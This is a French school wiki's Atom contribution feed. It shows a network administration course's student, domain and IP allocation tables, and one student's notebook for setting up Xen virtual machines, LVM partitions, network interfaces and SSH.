<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Yyahiani</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Yyahiani"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Yyahiani"/>
	<updated>2026-05-13T21:34:16Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12743</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12743"/>
		<updated>2026-03-03T15:26:23Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
!numéro de binôme&lt;br /&gt;
!Adresse IPV4 OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|1&lt;br /&gt;
|193.48.57.177&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|3&lt;br /&gt;
|193.48.57.180&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|4&lt;br /&gt;
|193.48.57.178&lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|5&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|7&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|6&lt;br /&gt;
|193.48.57.179&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi &lt;br /&gt;
|2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12530</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12530"/>
		<updated>2026-02-27T13:27:26Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Sécurisation WiFi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
